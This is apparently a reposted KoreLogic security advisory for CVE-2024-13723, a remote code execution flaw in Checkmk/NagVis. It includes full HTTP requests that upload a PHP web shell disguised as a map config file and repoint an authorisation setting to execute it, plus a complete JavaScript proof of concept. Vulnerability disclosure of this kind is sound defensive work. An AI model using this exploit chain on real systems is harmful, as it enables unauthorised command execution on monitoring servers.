## https://sploitus.com/exploit?id=1337DAY-ID-39900
Title: Checkmk NagVis Remote Code Execution
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2025-002.txt
1. Vulnerability Details
Affected Vendor: Checkmk
Affected Product: Checkmk/NagVis
Affected Version: Checkmk 2.3.0p2, NagVis 1.9.40
Platform: GNU/Linux
CWE Classification: CWE-434: Unrestricted Upload of File with
Dangerous Type
CVE ID: CVE-2024-13723
2. Vulnerability Description
The "NagVis" component within Checkmk is vulnerable to remote
code execution. An authenticated attacker with administrative
level privileges is able to upload a malicious PHP file and
modify specific settings to execute the contents of the file
as PHP.
3. Technical Description
Checkmk version 2.3.0.p2 ships with a component named
"NagVis", which is an addon for the network management
system "Nagios". When receiving an HTTP POST request for
the "server/core/ajax_handler.php" file, the query and body
parameters contained within the request are processed by the
script. Specifically, the script accepts the "mod" and "act"
query parameters, which specified which "module" and "action"
the AJAX handler should invoke.
The "Map" module in conjunction with the "manage" action enable
a user to upload a configuration file that will be used to
generate a visual map of data points. The name and extension
of the uploaded file are validated, limiting file names to the
".cfg" extension. The contents of the file are not validated. In
fact, a developer comment located within the code for the
"ViewManageMaps" PHP class calls out this lack of validation:
// FIXME: We really should validate the contents of the file
move_uploaded_file($file['tmp_name'], $file_path);
$CORE->setPerms($file_path);
This lack of validation allows an authenticated attacker
to upload ".cfg" files with arbitrary contents, effectively
planting the payload for the second stage of this exploit. The
following is an example HTTP request that uploads a malicious
map config file containing PHP code:
POST /cmk/nagvis/server/core/ajax_handler.php?mod=Map&act=manage HTTP/1.1
Host: REDACTED
User-Agent: KoreLogic
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Length: 829
Connection: keep-alive
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="_form_name"
import_map
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="_update"
0
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="mode"
import
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000000
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="_submit"
Import
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="_ajaxid"
1716303027
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="map_file"; filename="exploit.cfg"
Content-Type: text/plain
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundarywVfDQNT6TUqAmrdm--
The uploaded file is located at
"/opt/omd/sites/cmk/etc/nagvis/maps/exploit.cfg".
When sending a POST request to the AJAX handler with the
"MainCfg" module and the "edit" action, an authenticated
user with administrative privileges can modify system
settings for NagVis. The body parameters of the POST request
contains the various settings associated with NagVis. The
"global_authorisation_multisite_file" parameter accepts an
absolute file path to the PHP file containing authorization
logic for NagVis. By modifying this value to instead point to
the malicious map config file uploaded earlier, the attacker
controlled contents of the file are executed as PHP when the
authorization handler is invoked (such as when attempting to
view a page in NagVis). The following is an truncated HTTP
request that will perform this settings change:
POST /cmk/nagvis/server/core/ajax_handler.php?mod=MainCfg&act=edit HTTP/1.1
Host: REDACTED
User-Agent: KoreLogic
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9YYnBsaDteptwiuR
Content-Length: 44877
Connection: keep-alive
...
[TRUNCATED]
...
------WebKitFormBoundary9YYnBsaDteptwiuR
Content-Disposition: form-data; name="global_authorisation_multisite_file"
/opt/omd/sites/cmk/etc/nagvis/maps/exploit.cfg
...
[TRUNCATED]
...
Now that the exploit file is in place and the proper setting has
been updated, an HTTP request can be sent containing the "CMD"
query parameter. The value of the the parameter will be executed
as a shell command and the response will be included in the
HTTP response. The following is an HTTP request demonstrating
that ability:
GET /cmk/nagvis/frontend/nagvis-js/?cmd=id HTTP/1.1
Host: REDACTED
User-Agent: KoreLogic
Cookie: auth_cmk=REDACTED;
Connection: close
HTTP response containing output of "id" command:
HTTP/1.1 200 OK
Date: Wed, 22 May 2024 19:52:45 GMT
Server: Apache
...
[TRUNCATED]
...
Content-Type: text/html; charset=UTF-8
Content-Length: 2543
uid=1000(cmk) gid=1000(cmk) groups=1000(cmk),107(omd)
Error (Error): Call to undefined function all_users()array(1) {
[0]=>
array(2) {
["function"]=>
...
[TRUNCATED]
...
4. Mitigation and Remediation Recommendation
This issue has been remediated in Nagvis 1.9.42 and Checkmk
2.3.0p10, both released 2024-07-15.
5. Credit
This vulnerability was discovered by Jaggar Henry and Jim
Becher of KoreLogic, Inc.
6. Disclosure Timeline
2024-06-11 : KoreLogic reports vulnerability details to Checkmk
Security Team.
2024-06-12 : Checkmk acknowledges receipt.
2024-06-21 : Checkmk requests an extension of embargo to
90 business days.
2024-07-15 : Checkmk/NagVis release versions featuring
remediation for the reported vulnerability.
Checkmk neglects to inform KoreLogic of this event.
2024-11-22 : KoreLogic requests an update from Checkmk but
receives no reply.
2025-02-04 : KoreLogic public disclosure.
7. Proof of Concept
1) Authenticate to Checkmk as an administrative user
2) Navigate to '/cmk/nagvis/frontend/nagvis-js/index.php'
3) Open the JavaScript developer console in the browser
4) Execute the following JavaScript:
formData = new FormData();
formData.append('_form_name', 'import_map');
formData.append('_update', '0');
formData.append('mode', 'import');
formData.append('MAX_FILE_SIZE', '1000000');
formData.append('_submit', 'Import');
formData.append('_ajaxid', '1716303027');
const blob = new Blob(['<?php system($_GET["cmd"]); ?>'], { type: 'text/plain' });
const file = new File([blob], 'exploit.cfg', { type: 'text/plain' });
formData.append('map_file', file);
(async () => {
await fetch('/cmk/nagvis/server/core/ajax_handler.php?mod=Map&act=manage', {
method: 'POST',
body: formData
})
var configResponse = await fetch('/cmk/nagvis/server/core/ajax_handler.php?mod=MainCfg&act=edit')
var configFormData = (await configResponse.json())['code'];
document.body.innerHTML = configFormData;
var authFileToggle = document.querySelector("input[name='toggle_global_authorisation_multisite_file']");
var authFileLocation = document.querySelector("input[name='global_authorisation_multisite_file']");
authFileToggle.value = '1';
authFileLocation.value = '/opt/omd/sites/cmk/etc/nagvis/maps/exploit.cfg';
document.querySelector('#edit_config').submit();
window.location = '/cmk/nagvis/frontend/nagvis-js/?cmd=id';
})();
The contents of this advisory are copyright(c) 2025
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/